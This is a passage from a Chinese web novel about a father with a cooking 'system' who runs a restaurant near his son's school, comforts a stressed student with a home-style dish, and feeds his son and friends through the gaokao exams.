【闲人可真多，为了吃个饭跑那么远就算了，还那么早去排队，服了。】 【他家店我上个月去云市出差时吃过，只能说绝对值得花时间去等，菜的色香味全部无可挑剔，感觉国宴也不过如此［图片］】 【这家店我没去吃就知道老板手艺是真好，因为我根据他的视频在家学的菜都特别好吃。】 直播间里刚开始还有人在质疑，觉得盲盒餐厅也是那种网红店，等到主播排队买到饭时，光看菜的卖相以及主播脸差点埋进碗里的吃相，质疑的人瞬间就无话可说。 【那个米粉蒸排骨看起来好好吃啊！想吃！】 金黄色的米粉吸收排骨的油脂，看起来闪闪发光，排骨经过酱料腌制呈现琥珀色，在米粉带颗粒感的包裹下，卖相别提多诱人。哪怕闻不见香味，光是看着米粉蒸排骨的特写，隔着屏幕就能馋死个人。 【好大的虾，看着就又新鲜又好吃，好想咬一口啊！】 椒盐大虾弯曲成漂亮的弧度，色泽金红诱人，炸壳在油炸的高温下产生一些焦糖色，整体看起来酥脆干爽，令人食指大动。 除了这两道菜和酸萝卜老鸭汤外，下午还有豆腐酿肉、清炒西兰花、辣子鸡丁，每一道都色香味俱全，让人吃得停不下来。 在直播间里粉丝们被馋得肚子咕咕叫时，主播终于抬头：“太好吃了，我从来没吃过这么好吃的椒盐大虾，你们听听这酥脆的声音，还有那股椒盐香，唔，配上虾肉的弹嫩，简直绝了！这虾吃着就特别新鲜，和那种速冻虾口感完全不同……还有米粉蒸排骨，我感觉米粉特别香，比肉还好吃……豆腐酿肉……” 【别说了，我受不了了，现在就去买云市的车票。】 【服了，本来还不饿，现在感觉我能吃得下一头牛，点外卖去了。】 直播间里一堆人被馋到时，盲盒餐厅内，新顾客们吃着晚餐，一个个眼睛都不自觉亮起来。 他们以为午餐已经是人间美味，没想到晚餐水平同样高，不论是肉还是虾都吃不出半点腥气，满满都是食材本身的鲜味。 “我真的好喜欢他家的菜啊！不是那种纯粹靠下重料炒出来的香，每道菜的调味都恰到好处，能尝到食材本身的特色，虾有虾味，肉有肉味，就连米粉的那股米香都格外浓郁。” 有顾客只会用“好吃”、“真香”、“美味”来形容，听到这话，纷纷点头表示赞同。 “确实，他家菜不光好吃，吃着还特别舒服。” “对，平常我在外面吃饭，经常吃完就口渴，中午在他家吃完却完全没有。” 做菜不可能不放调料，楚易文当然也会放，但通过之前系统奖励的“厨神之舌”，他调味能力明显更加厉害，通过火候和调味激发出食材本身的特色，做到百菜百味，而不是千篇一律的味道，自然会让人吃得很舒服。 “我去，人也太多了吧！” 胡一齐他们来到店门口，看着里里外外都是人，只能小心往里面挤。 平常店里人也多，但真没到这种进店都得靠挤的地步，楚瑾钰他们甚至花费一分多钟才成功进入厨房。 商时贸：“等五一假期结束应该会好点。” 生日的愉悦心情还没消失，楚瑾钰闻言倒是没说什么，反而是胡一齐道：“别提这个伤心事了，想到他们都还在放假我就难受。” 不过等到饭菜上桌，胡一齐就顾不上难受，而是吃得比谁都香。 “唔，感觉米粉蒸排骨也好好吃，太香了！” 软烂脱骨的肉混着粘在上面的米粉，吃起来咸鲜浓郁，好吃到胡一齐眼睛都眯起来。 叶其林则是用勺子往碗里盛米粉，嘴里还在夸：“我感觉楚爸自己炒的米粉比外面卖的要香好多，都可以直接当饭吃。” “确实。”楚瑾钰赞同地点头。 他们沉浸在晚餐的美味中时，邵言易吃得有点分心，因为感觉店里人太拥挤，总是忍不住去关注他奶奶。 他用最快的速度吃完饭，立刻就起身去给奶奶帮忙。 今天下午人确实有点多，推推挤挤有些免不了。楚易文看到店里人就没少过，扯着嗓子对排队的人道：“已经没有多少菜了，后面的别排了……” 本地老顾客还好，想着今天吃不到明天还能再来，吐槽几句人太多就自觉离开。但对特意过来吃饭的外地游客来说，他们却是怎么都不愿意走。 最后有不少排在前面的本地人发扬了一下精神，给游客们让位，可即便如此，菜还是不够。 “老板，我们坐了五个小时的车，特意来你们家吃饭。” 楚易文有些无奈，将自己的晚餐让出去不说，还用店里剩下的食材又做了点吃的，好不容易送走游客们，未免再有人上门，赶紧关门。 如此忙碌了几天，直到五一小长假结束，楚易文终于能松口气。 与此同时，网上到处都是游客们分享假期日常，其中盲盒餐厅可以说几乎没有差评。之所以说是“几乎”，因为有游客嫌老板不够勤快，因此给饭菜满分好评，却给老板打了个差评。 假期结束后店里生意依旧很好，但至少不像五一期间那么夸张，也不会有一堆人拉着楚易文拍照，因此他看到网上评论也没什么感觉。 日子一天天过去，很快进入五月中旬，具体高考只剩二十天左右，高三年级的学习氛围明显更加紧张，无形的压力也让高三学生们有些焦躁起来。 楚瑾钰他们同样感受到那股压力，但可能是一日三餐有美食能放松心情，他们情绪倒是还好。 周六傍晚，结束一天营业后楚易文让李老太太先回家，自己则是在厨房将厨具全部进行深度清洗。 他大概是有点洁癖在身上，厨房每天打扫就算了，每隔半个月还要进行深度清洁，这大概就是厨房营业那么久，到现在还能保持没有油污的秘诀。 深度清洁结束，他看着能反光的抽油烟表面，以及摆放得整整齐齐的各种厨具，感觉很是满意。 等他关上店门准备回家时已经八点多，外面早就亮起路灯。 本来楚易文准备直接回家，不过刚坐进车里忽然想起来家里不少日用品用完了，想着现在还不算晚，干脆去了趟商场采购。 他买东西是真快，二十分钟就出来，开车准备回家时，却在家附近的桥上看到个穿校服的学生。 这个点应该还没下晚自习吧？ 楚易文自己家里就有学生，自然不会不知道放学时间，他在车里观察两眼，想想还是靠边停车。 “同学，你是遇到什么困难了吗？” “我没事，我就是有点烦，在这里站着吹吹风……” “你是高三的吗？我儿子也在读高三，最近天天刷题，感觉太辛苦了。” 男生听到他的话，话匣子瞬间打开：“何止是天天刷题，还有做不完的试卷，背不完的重点，我已经很努力了，但上次模拟考成绩却是不升反降……” 楚易文安静倾听着，发现他的压力不光来自高考，还有家里人。 同为家长，楚易文觉得他家里人简直胡闹，在孩子这种关键时刻不帮忙缓解情绪，还制造额外的压力。 眼见男生越说情绪越激动，楚易文一时也不知道怎么安慰，毕竟有时候语言真的很空洞，不一定能安慰到人。 他想到店里之前有不少学生都说吃到他做的饭感觉很幸福，心情都不自觉变好，于是道：“我是开店的，店名叫盲盒餐厅，你听说过没？” 男生被他的话转移注意力，点头表示听说过。 “听说过就好，你吃晚饭没？有没有什么想吃的东西？我请你吃。”楚易文道。 男生诧异地看他一眼，不过心里还真浮现出一道美食，一道外婆在世时经常给他做的美食。 “叔叔，灌蛋你会做吗？小时候外婆经常做灌蛋给我吃，特别香，可惜我们这没灌蛋卖。” 灌蛋楚易文还真会做，自从能靠顾客好评抽奖后，他抽到的食谱简直不要太多，其中就有灌蛋。 “会做，就是将调好的馅料灌进生蛋里，再煮熟对不对？” 男生听到这话惊喜地点头：“对！” “走，我做几个灌蛋给你尝尝，看看是不是你外婆做的那个味道。” 楚易文本来还有点担心他不愿意跟自己走，没想到他毫不犹豫跟着上车，这下楚易文又忍不住开口提醒：“今天就算了，下次陌生人的车可不能随便上，万一遇到人贩子就完蛋了。” “我知道你是好人，之前在网上刷到过你的视频。”男生说。 这里离盲盒餐厅不远，说话的工夫楚易文很快开车重新来到店里。 明天周末，店里不营业，厨房里其实只剩下点鸡蛋，楚易文拿瓶水递给男生，趁着他喝水时赶紧在系统里兑换出做灌蛋需要的食材。 食材到位，他先将肥三瘦七的猪肉剁成肉末，用马蹄碎、香菇碎、葱姜末混合后加入生抽、料酒、盐、黑胡椒等调料进行搅拌。 楚易文将肉馅顺时针打搅上劲后，将一个生鸡蛋打进碗中，随即用竹签将肉馅用特殊手法“灌”进鸡蛋黄里。 男生看到他真的会做灌蛋，似乎想起小时候外婆还在世的美好回忆，脸上露出带着点激动的表情：“对，就是这样做的！” 此时他暂时忘记高考带来的压力与烦恼，眼中只看得见碗里那个蛋黄被肉馅填得鼓鼓囊囊的鸡蛋。 楚易文灌蛋手法显然在系统厨房里练出来，灌得又快又好，蛋黄完全没破。连着灌好六个鸡蛋，他开始起锅烧水，在水煮到微微沸腾时就将鸡蛋滑进去。 随着蛋白从透明变成白色，楚易文快速调了个汤底烫了点青菜放到白瓷碗中，等到灌蛋煮好，将蛋捞出来放进碗里。 “好了，小心烫。” 煮好的灌蛋洁白光滑，可蛋黄部分却是明显比普通鸡蛋大得多，甚至隐约能看出几分肉馅的浅褐色。鸡蛋特有的香味混着肉香和香菇的干香，散发出诱人的气息。 男生晚上本来就没吃饭，看到这碗卖相诱人的灌蛋，肚子立刻咕咕叫起来。 “谢谢叔叔。”他道谢后迫不及待端起碗，握着勺子挑起个蛋就咬下去。 有点烫，但他完全顾不上，咀嚼着如记忆中一样鲜美的味道。最外面是柔软的蛋白，里面的细腻香醇的蛋黄，最里层是鲜嫩多汁的肉馅。 在蛋黄的包裹下，肉馅吃起来紧实弹牙，马蹄的爽脆清甜中和肉馅和蛋黄的腻歪，吃起来咸鲜美味，特别令人满足。 “慢点吃。”楚易文看到他狼吞虎咽，三两口就吃完一个灌蛋，都有点担心他噎着。 在男生还没开始吃时学校里已经响起放学铃声，等他吃完两个灌蛋，从校门口涌出一堆迫不及待想回家的学生们。 “欸，楚瑾钰，你家店灯怎么还亮着？” 有和楚瑾钰他们一起出来的同学余光看到盲盒餐厅亮着灯，不由开口提醒。 楚瑾钰闻言转头看过去，发现还真是，不免有些疑惑：“我爸是没回家，还是忘记关灯了？” “去看看不就知道了。”胡一齐说完，直接小跑起来。 除了楚瑾钰他们外，还有几个喜欢凑热闹的同学一起跟上来，等他们到店门口时，就看到店内楚易文和一个穿着不是他们学校校服的男生坐在一起，表情很是温和。 楚瑾钰闻着店里的香味，再看那个坐在他爸身边吃东西的家伙，忍不住大喊一声：“爸！” “楚爸，他是谁啊？”胡一齐开口问出楚瑾钰的心声。 “你们放学了？他也是高三学生，想吃他外婆做的灌蛋了，我就给他做了一份。”楚易文道。 胡一齐：“灌蛋？灌蛋是什么？楚爸我也想吃！” “行，你们坐一会，我去做。” 楚易文话落，几个跟着过来的同学忍不住问：“叔叔，有我们的吗？” “当然，快坐吧。” 楚易文招呼完就立刻进厨房做灌蛋去，胡一齐好奇心重，想知道灌蛋到底是什么，直接放下书包跟上。 “哇，楚爸你好厉害！蛋黄里竟然能塞下那么多肉！” 听到胡一齐的惊呼声，大家纷纷跑进来看，很快也被楚易文往鸡蛋黄里塞肉馅的手法给震惊到。 “叔叔你也太厉害了吧！” “我之前在家里煎鸡蛋时明明很小心，还是把蛋黄给弄破了，叔叔你竟然能往这么脆弱的蛋黄里塞肉馅！” “又是蛋又是肉，感觉肯定好吃。” “楚爸做的，那还用说，肯定好吃。” 楚易文听着夸赞的声音，边灌蛋边煮，很快就让他们人手一碗香喷喷的灌蛋。 第102章 宫保鸡丁 “好好吃啊！没想到鸡蛋还可以这样吃, 叔叔你真厉害！” “又香又嫩，太好吃了！” 跟着楚瑾钰他们过来蹭到灌蛋吃的学生特别高兴，吃得那叫一个香。 煮的过程中, 鸡蛋的鲜美渗入肉馅，肉馅带着脂香的汁水也反过来滋润蛋黄，一口下去，蛋黄和肉馅不同的鲜味、香菇的菌香、马蹄的爽脆，几种味道完美融合。 胡一齐：“好吃，我喜欢吃这个。” 楚易文本来是不饿的，看到他们吃得那么香, 给之前那个男生又添两个灌蛋后，自己也端着碗吃起来。 店内坐着的全是高三生，感叹完灌蛋的美味, 一帮同龄人很快就聊起来。 可能由于不是一个学校的，男生被美食安抚完情绪后，在楚瑾钰他们面前倒是挺愿意倾诉, 抱怨起最近在学校和家里的压力。 “你爸那都不算什么，我爸才离谱, 天天就知道找小三、小四，我估计他都不知道我马上要高考了……”聊到“爸”这个话题，胡一齐觉得应该没几个人比得上他爸。 他这话一出，那个男生都沉默了, 觉得确实没法比。 家长这块，楚瑾钰目前是无可摘指，毕竟他爸都为他特意跑到学校边开店，因此他没怎么说话，安静吃着他爸做的灌蛋。 商时贸不爱跟别人说家里的事, 也没说什么，倒是叶其林和其他几个同学跟着吐槽了几句。 很多事情，说出来或许没什么用，但吐槽出来心里多少会舒服些，就像是将垃圾倒出来一样，有种清空后的放松感。 男生和他们聊着聊着，心底的负面情绪被清空，开始担心起自己晚自习逃课，会不会被老师和家里人批评。 灌蛋吃完，其他几个学生收拾好碗筷带着满足的表情先离开，楚瑾钰他们几个则是和那个男生一起等楚易文关灯后一起出来。 楚易文：“走吧，都上车，我送你们回家。” “不用了叔叔，我和叶其林顺路，我们自己打车就行。” 商时贸话落，叶其林赞同地点点头，两人没让他送，直接打了个车离开。那个男生本来也准备直接回家，楚易文却是表示自己带他过来，也得送他回家。 问清楚男生家庭地址，楚易文先将胡一齐送回家，随即继续往前开。 车上只剩他们三个后瞬间就变得有些安静，楚瑾钰余光看向那个好像忽然就紧张起来的男生，开口道：“你该不会晚自习逃课了吧？” “嗯。” 楚瑾钰：“逃课没啥大不了的，我以前经常干，最多被说两句。” “你教人家点好吧，逃课确实没什么大不了，但你别说得那么骄傲，你爸我还在车上呢。”楚易文用一种比较轻松的语气开口。 父子俩话落，原本紧张的男生受到感染，心跳声慢慢恢复正常。 楚易文将人送到家时，男生父母显然已经接到过老师打过来的电话，第一反应就是质问他不上学跑哪去了。 真是…… 楚易文有些服气，觉得他们就算想搞清楚状况好歹先关心下孩子，在男生底下头一副沉默态度时，直接替他开口：“马上就要高考了，孩子压力大……” 听到他是在桥上碰见自家儿子，男生父母心里一紧，瞬间安静下来，随即握着楚易文的手连连道谢。 楚易文跟夫妻俩分享了一下如何当好高三家长的心得后，开车带着儿子回家。 路上，他回想之前男生站在桥上的那个背影，不由开口关心道：“你在学校怎么样？累不累？” “最近老师都在搞题海战术，刷题刷到头大，不过还好我同桌是邵言易，不会的题他能给我讲。” 楚易文：“不要有太大压力，学得会就学，学不会就算了，别为难自己。” “那我要是考不上大学怎么办？” “以你现在的成绩，只要稳住，考个大学还是没问题，实在考不上那就算了，跟我学厨艺好了，这年头有门手艺肯定饿不死。” 楚瑾钰一时没听出他爸是认真的还是开玩笑，伸手指着自己道：“我，学厨艺？”他怀疑他爸是忘记上次生日时他烧出来的鬼东西。 楚易文听着他那难以置信的语气，直接被逗笑。 听到他爸轻笑出声，楚瑾钰确定他是在开玩笑，哼了声道：“你又没遗传学厨艺的本事给我，我还是老老实实考大学去吧，你放心，三年都过来了，就剩最后这二十来天，我肯定能坚持过来！” 事实上和大部分高三生比起来，楚瑾钰压力已经少很多，毕竟他爸从来都不强求他考多好的大学，反而天天一日三餐给做好吃的。 周末这天，楚瑾钰将叶其林他们都叫到家里一起复习，楚易文给他们准备好水果、饮料、零食后，出门去钓鱼，四点多时拎着条大鱼回来。 胡一齐：“哇，楚爸你真厉害！我看网上好多钓鱼的人都是空军，根本钓不到鱼，你却是每天都有收获。” “好大的鱼啊！这得有七八斤吧！我爸这辈子都没钓过这么大的鱼。” 几个孩子特别捧场，你一句我一句夸着，楚易文脸上露出笑容：“也不是每次都有收获，只是今天运气不错，待会给你们做个一鱼三吃。” 本来学得头昏脑胀，有点想睡觉的胡一齐听到一鱼三吃，立刻就精神起来，发出期待的欢呼声。 厨房里。 楚易文握着刀干净利落地将鱼处理干净，鱼头剁下来用豆腐炖汤，剩下的鱼身分为两半，一部分片成鱼片做牡丹鱼片，一部分切成块做红烧鱼块。 鱼鲜味从厨房飘出来时，不光引得胡一齐他们下意识咽口水，还引得小区里的猫跑进院子里喵喵叫起来。 “院子里进了猫，你们要不要喂猫？”楚易文感觉几个孩子今天学习那么久也挺累，应该劳逸结合一下，于是提议。 和学习比起来，其他事都变得有趣起来，楚瑾钰几人闻言纷纷响应，很快从厨房里拿到没放盐的鱼汤和一盘鱼肉。 胡一齐是真吃货，大门还没打开，他先低头喝了口鱼汤。 “没放盐你也喝？”楚瑾钰用一种“你怎么这么馋”的表情看着他。 胡一齐：“没盐也挺鲜的，楚爸真是会炖汤。” 几人来到院子里就看到三只猫猫，蹲下来刚一招手，三只猫闻见鱼鲜味直接凑上来。 “它们竟然都不怕人。”叶其林望着已经吃上的猫，语气带着笑意。 楚瑾钰：“我们小区里的人对猫猫狗狗都挺友好，甚至有个开宠物医院的把它们都带去绝育了，所以它们不怕人。” 除此之外，猫猫不怕人还有楚易文日常就经常投喂它们的缘故。 胡一齐：“怪不得它们看起来都干干净净，一点不像是流浪猫。” 和美食一样，撸猫同样能让人心情愉悦，他们蹲在院子里看着猫猫大口吃肉，大口喝汤，时不时摸两下猫脑袋，脸上不由浮现笑容。 三只猫猫性格都挺好，吃饱喝足也没有跑，反而和他们玩起来，夕阳下，人和猫凑在一起玩耍的画面看起来特别和谐。 厨房里，楚易文透过窗户看到这一幕，唇角不自觉上扬，又烧了三个菜才开口喊道：“回来吃饭了。” “可以吃饭喽！” 一听到吃饭，数胡一齐最积极，转身就往大门方向跑。 今天晚上除了一鱼三吃外，还有酱肘子、黄豆烧鸡爪、蓑衣黄瓜，每道菜看起来都特别诱人。 “好好吃啊，楚爸你做的黄瓜又好看又好吃！” 开饭后，胡一齐直接伸出筷子就吃肉，叶其林则是先吃了口蓑衣黄瓜，感觉又爽脆又开胃。 “爸你怎么做了这么多牡丹鱼片？”楚瑾钰边夹着鱼片往嘴里塞，边顺口道。 楚易文：“鱼太大了，随便片一下就有那么多，你们多吃菜，少吃饭。” “楚爸你放心，肯定能吃完。”胡一齐边说边直接用筷子夹起整朵牡丹鱼片，直接咬上去。 大口吃鱼还不用担心鱼刺的感觉简直太爽，尤其是这鱼吃起来外酥里嫩，配上酸甜适口的酱汁，完全不用担心腻。 对此，楚瑾钰的评价是：“牛嚼牡丹。” “咳……吃饭呢，别随便讲笑话。”叶其林看着胡一齐的吃相再听他说“牛嚼牡丹”，差点没被呛着。 胡一齐咽下嘴里外酥里嫩的牡丹鱼片后告状：“楚爸你看他们！” “好了，都不说话了，快点吃吧。”楚易文笑着道。 愉快的周末结束，接下来又进入紧张的学习氛围。 随着天气越来越热，教室墙上高考倒计时数字也在越变越小，很快就只剩下三天。 看到数字由“三”变成“二”，就连楚瑾钰心里都生出一股莫名的紧张感，其他学生就更不用说。 天气本就热，再加上紧张，很容易影响到食欲。楚易文可能是发现，接下来都尽量做些开胃的菜，比如菠萝咕咾肉、酸辣土豆丝、蓑衣黄瓜、糖醋排骨。 不得不说，开胃菜效果还挺好，哪怕再没有食欲的孩子吃到他做的菜，很快就胃口打开，沉浸在美食中。如此一来，却是苦了家长们，个个都早早来店外排队，就是为了让自家孩子能吃上美味的饭菜。 之前楚瑾钰还嫌时间过得太慢，恨不得赶紧高考完拉倒，真等到高考前一天晚上时，他又感觉时间过得太快。 “爸，我要是考砸了怎么办？” “尽力就好，别想那么多。”楚易文说完伸手摸摸他脑袋。 平常楚瑾钰是不太喜欢别人碰脑袋的，此时却是没有抗议，抿着唇道：“早知道我高一时就不玩了……爷爷奶奶以前都盼着我能考个好大学。” 明天就要高考，他却是忽然想起从小照顾自己长大的爷爷奶奶，想到他们以前经常夸自己聪明，说他长大后肯定能考个好大学，忽然有点后悔。 “比起考个好大学，爷爷奶奶肯定更希望看到你开心健康地成长，明天就要考试了，早点睡吧。” 楚易文将儿子哄去睡觉，自己反而紧张起来，再三看过明天的天气预报，还是把雨衣、雨伞都拿出来准备好，顺便还把书包里的准考证、笔等文具检查一遍。 忙活完这些，他又走进厨房，确定黄豆已经提前泡好，开始思考还有什么地方需要注意。 回到房间后，楚易文打开手机地图，将到考场的路线再次看几遍，确定不用导航都能准确到达，终于关灯睡觉。 灯刚关不到一分钟，他忽然又坐起来，开灯拿手机，在网上搜索“高考会不会堵车”。 看到高考有可能会遇到堵车情况时，楚易文下楼将自行车塞进后备箱里，想着万一堵车了还能骑自行车送考。 实际上如果不是好多年没有骑过摩托车，怕技术不行会出意外，他都想把放在车库里吃灰的摩托车翻出来。 再次回到房间，楚易文还有点睡不着，顺手刷了下短视频，注意到有不少消息提醒时，点开就发现原来是粉丝们送来的高考祝福。 楚易文刷完粉丝们送来的祝福，眼见时间已经不早，赶紧放下手机开始睡觉。 这夜他难得睡得有些晚，不过次日却是起得平常还早，起床就赶紧去厨房做早餐。 今天的早餐特别丰盛，有皮蛋瘦肉粥、豆浆、蒸饺、鸡蛋饼、炒粉，完全能满足各种口味需求。 “爸你怎么做那么多？” “你挑想吃的吃，剩下的我吃。” 楚瑾钰点点头，端了碗皮蛋瘦肉粥先吃起来，咸鲜顺滑的粥越吃越开胃，吃完他又来了碗炒粉，还吃了两个蒸饺。 等他吃得差不多时，楚易文加快速度将剩下的早餐解决，随即便开车带他出门。 “考试时不用太紧张，就和平常一样，先把会做的题做完……” 楚瑾钰原本心里有点紧张，听着他爸絮絮叨叨的声音，感觉他好像比自己还紧张，忽然就放松下来。 云市的高考生运气不错，今天天气很好，时不时还有风吹过来，路上也没遇到堵车。 顺利到达考场，楚瑾钰下车望着周围的环境，受到高考氛围的影响，莫名又开始紧张起来。 “加油。”楚易文注意到儿子的表情，张开双手给了他一个有点紧的拥抱。 拥抱某些时候是能缓解人情绪的，楚瑾钰感受着父亲的怀抱，深吸一口气后转身走进考场。 楚易文目送他离开，直到完全看不见他背影，继续在原地站了好一会才开车离开，准备先将午餐食材买好，汤炖好再过来接他。 买完食材到家，他用砂锅炖了个香菇鸡汤，将多余的油脂都弄掉，炖出来的汤色泽呈浅金色，看着就特别清爽。 鸡汤炖好，眼见已经十一点，他立刻开车出去接人。 叶其林他们都没跟楚瑾钰分在同个考场，加上高考这个重要时间点，就算不靠谱如胡父都知道亲自接送而已，因此楚易文只用操心自家儿子。 接到人后，他先递了瓶水过去，并没有问“考得怎么样”之类的话，而是道：“走，回家给你做好吃的。” “爸，你不问我考得怎么样吗？”楚瑾钰边上车边道。 “考完就不用纠结这个了，等成绩就好。” 楚易文说完带着他回家，先盛了碗鸡汤让他喝着，随即开始炒菜。 不得不说，他这种态度让楚瑾钰心情都不自觉放松起来，尤其是喝着香喷喷的鸡汤时。 “爸你炖的汤越来越好喝了。” 鸡肉和菌菇的鲜美被完全炖进汤里，那股难以用语言形容的鲜味，别提有多美味。 大半碗鸡汤下肚，楚瑾钰有种从身到心都被滋润了的感觉，同时还有点开胃，不由握着筷子开始吃鸡肉。 午餐吃完，他小睡一会醒来，马上又要去考场考试。 高考这几天，楚易文发挥自己百分之百的厨艺，在衣食住行方面将儿子照顾得特别好，以至于楚瑾钰状态也越来越好，他自己都感觉考试时脑子格外清明，不光会做的题全部做出来，不会的题都灵光一闪了几次。 高考终于结束时，不光是学生们，家长都有种解放的感觉。 至于胡一齐他们，则是第一时间来到楚瑾钰家，感叹着考试这几天的不容易。 胡一齐：“这几天我爸天天让人做清淡的饭菜给我吃，我嘴巴都要淡出鸟来了！” “终于考完了，想想接下来有差不多三个月假期就很爽！”叶其林想到接下来的暑假，脸上露出笑容。 楚瑾钰：“确实，最主要的是，暑假没作业！” 客厅里，他们已经从高考的不容易聊到接下来的暑假时，厨房内，楚易文正在给他们做大餐。 和很多家长高考期间给孩子做大餐，高考结束就收回福利不同，楚易文倒是始终如一。 知道自家儿子爱吃辣，今天除了回锅肉、辣椒炒蛋外，他还做了道宫保鸡丁。 热锅凉油，楚易文将腌制好的鸡丁下锅滑炒，炒到鸡丁变色时盛出来备用。鸡肉香味还飘荡在空气里时，他将锅中留底油，开始炒干辣椒和花椒。 小火慢炒下，干辣椒和花椒的香味被完全激发出来，那股麻辣辛香从厨房飘出去，胡一齐闻见直接连打几个喷嚏。 喷嚏打完，他闻着这股辣味却是立刻就期待起来：“好几天没吃楚爸做的饭，可馋死我了……” 别说他，就连商时贸两人同样有点馋，话题又回到高考上，吐槽他们运气不好，没跟楚瑾钰分到一个考场，不然还能继续蹭饭。 厨房里，楚易文将干辣椒和花椒香味完全炒出来后，又加入葱姜蒜，几种调料融合在一起，香味特别诱人。 调料香味完全爆出来，他将鸡丁下入锅中，淋上提前调制的宫保汁大火翻炒，保证每个鸡丁都裹上酱汁。 当料汁淋进锅里时，一股带着酸甜麻辣气息的浓郁香味飘出来，引得胡一齐顾不上继续聊天，直接跑进厨房来。 厨房内，楚易文在锅里汤汁收得差不多时，将提前炸好的花生米倒入，快速翻炒几下，让花生米裹上汤汁就立刻关火。 这道菜火候很有讲究，前面滑炒鸡丁时用的是中火，炒调料时用的小火，最后烹饪鸡丁时用的大火，炒出来的宫保鸡丁锅气十足。 煸炒过的花椒、干辣椒带来一股麻辣香气，葱姜蒜的辛香融合在里面，随后是鸡肉的鲜味与料汁的微酸带甜。 “好香啊！楚爸你在炒什么？”胡一齐咽着口水凑到灶台边。 楚易文：“宫保鸡丁。” 他说完，动作麻利地将菜出锅，白色的鸡丁被汤汁包裹，配上红彤彤的干辣椒、深红色花椒、浅黄色姜片、翠绿的葱段、白色蒜片，以及金黄酥脆的花生，整道菜看起来红亮油润，令人食欲大开。 “楚爸，我帮你尝尝味道。”胡一齐被宫保鸡丁的卖相和香味馋到，说完就自觉地拿了碗筷开始品尝。 鸡丁刚进嘴，先尝到表面微酸微甜的汤汁，恰到好处的酸甜口从味蕾蔓延下去，瞬间就将胃口给打开。咀嚼间，鸡肉的鲜嫩和花椒与干辣椒的麻辣味瞬间迸发出来，越吃越美味。 胡一齐吃完鸡肉又丢了几颗花生进嘴，香脆的花生带着坚果特有的油脂香。 “楚爸你做的宫保鸡丁太好吃了！简直就是人间美味！” 宫保鸡丁讲究麻、辣、酸、甜、咸、鲜，这六味楚易文平衡得特别完美，同时火候把握得更是无可挑剔，鸡肉的嫩滑，花生的香脆配上调味，简直令人拍案叫绝。 听到胡一齐的声音，原本想等开饭再吃的楚瑾钰三人瞬间等不了，纷纷拿起碗开始品尝。 楚瑾钰一手端着碗，一手拿着勺子，避开干辣椒等配料，挑着花生和鸡肉送进嘴里，滑嫩的鸡肉和香脆的花生米两种不同的口感形成鲜明对比，再配上层次分明的调味，又香又开胃。 “好吃，太好吃了，就着这道宫保鸡丁我能吃两碗饭！”叶其林被宫保鸡丁的味道给惊艳到，捧着碗夸赞。 第103章 （正文完） 芙蓉鸡片 宫保鸡丁不光好吃, 而且特别下饭，等到开饭后，楚瑾钰他们坐在餐桌上, 就着这道宫保鸡丁就干完大半碗饭。 小火煸炒下，花椒和干辣椒特有的麻辣味被完全激发出来，吃的时候在味蕾上层层递进，与汤汁的酸甜形成完美平衡。 好吃！ 楚瑾钰咀嚼着喷香的宫保鸡丁，又往嘴里塞了口米饭，鸡肉的鲜嫩、花生的香脆和米饭的软糯融为一体，配上酸甜麻辣咸鲜的滋味, 越吃越满足。 他还在一口菜一口饭时，胡一齐已经直接将宫保鸡丁与米饭拌在一起，还加了不少汤, 吃得那叫一个香。 “有这么好吃吗？”楚易文看到他们的吃相，语气透着笑意。 胡一齐：“超级无敌好吃，楚爸你太会做了, 我才发现，酸甜和麻辣搭配在一起这么好吃！” 本来就有几天没吃过他做的饭, 现在吃到如此美味的宫保鸡丁，他感觉特别开胃。 叶其林：“里面的花生又香又脆，感觉比肉还好吃！” “花生好吃，和鸡肉搭配在一起, 太香了。”楚瑾钰赞同地点头，说完就夹着花生和鸡肉一起送进嘴里。 看到他们都爱吃，楚易文心里很有成就感，觉得不枉他在系统厨房里学得那么认真。 晚餐结束时，胡一齐几人都有点吃撑着, 坐在沙发上不想动弹。 “你们那是什么表情？” 楚易文收拾完厨房出来，看到他们都歪在沙发里不聊天也不玩手机，看起来有些放空的模样，感觉有点好笑。 “高考就这么结束了，现在想想感觉和做梦一样……”楚瑾钰微微仰头说。 一个目标结束，确实会产生些短暂的空虚，楚易文大概能理解他们的心情，直接找话题道：“你们之前不是说高考结束要出去玩？想好去哪没？” 聊到出去玩，楚瑾钰几人瞬间就精神起来，立刻坐直身体分享起他们说走就走的旅行计划。 四人中最小的楚瑾钰都在五月份过完生日，都已经满十八岁，对于他们想结伴出去玩，楚易文还挺支持。 不过在旅行前，他们还得先回学校拍毕业照、参加毕业典礼。六月是离别的季节，毕业季多少会有些伤感，不过对于楚瑾钰他们来说倒是没那么难受，毕竟在估完分后，他们都决定留在本市念大学。 其实在高一时四人都是准备去外地读大学的，商时贸是受不了父母偏心大哥，想要考出去来逃避，楚瑾钰是觉得反应他爸又不关心他，干脆走远点不用他操心，叶其林和胡一齐则是兄弟去哪他们去哪。 不过现在嘛，楚瑾钰觉得既然本地就有不错的大学，而且他能考上，还不如留在本地，这样方便回家吃饭。 胡一齐是个吃货，自然也想留在本地，好方便去楚瑾钰家蹭饭吃。叶其林对去哪读书比较无所谓，在商时贸也改变想法的情况下，最终四人都决定选本地大学。 忙完毕业的事情，离查分日期还有十几天，楚瑾钰他们收拾好东西决定先出去玩一圈，享受高考结束的自由与快乐。 他们走后，楚易文感觉家里都瞬间冷清下来，头两天还有点小不习惯，到第三天就开始享受起生活来。 上午时他趁着天不热出去钓钓鱼、撸撸猫，中午回家休息，傍晚时要么在家看看电影，要么去公园散散步。 除此之外，他还会去读书馆买些感兴趣的书回家阅读，或是在系统厨房里学学新菜，日子过得悠闲又充实。 他倒是舒服了，然而他账号评论区却是特别热闹，一堆老顾客喊他开门营业。 【老板我知道你看得见，你别躲着不出声，赶紧出来开店，开店，开店开店！】 【之前高考时你不营业我很理解，但现在高考都结束好多天了，你人呢？】 【老板求求了，快开门吧，我好馋你家的辣子鸡丁、椒盐大虾、啤酒鸭、锅包肉、红烧排骨……】 【上次和朋友聊到白月光，我说谁规定白月光一定得是人，为什么就不能是脆皮猪肘、红烧肉、粉蒸排骨、灯影牛肉。】 【看得出来你的白月光很好吃了（口水）】 【老板，老板你人呢？开门啊！我知道你在家，有本事开店，你有本事开门啊！开门开门开门啊！】 楚易文确实看到了顾客们的评论，但他之前就说过，开店是为了方便儿子吃饭，现在高考结束，他关门大吉不是很正常。 他知道顾客们根本不想听这些，干脆直接装死，当没看到。 这天早上楚易文刚醒还没来得及起床就接到儿子打过来的视频，接通屏幕上就出现几张凑在一起的脸庞。 “爸，我就知道你肯定已经醒了。” 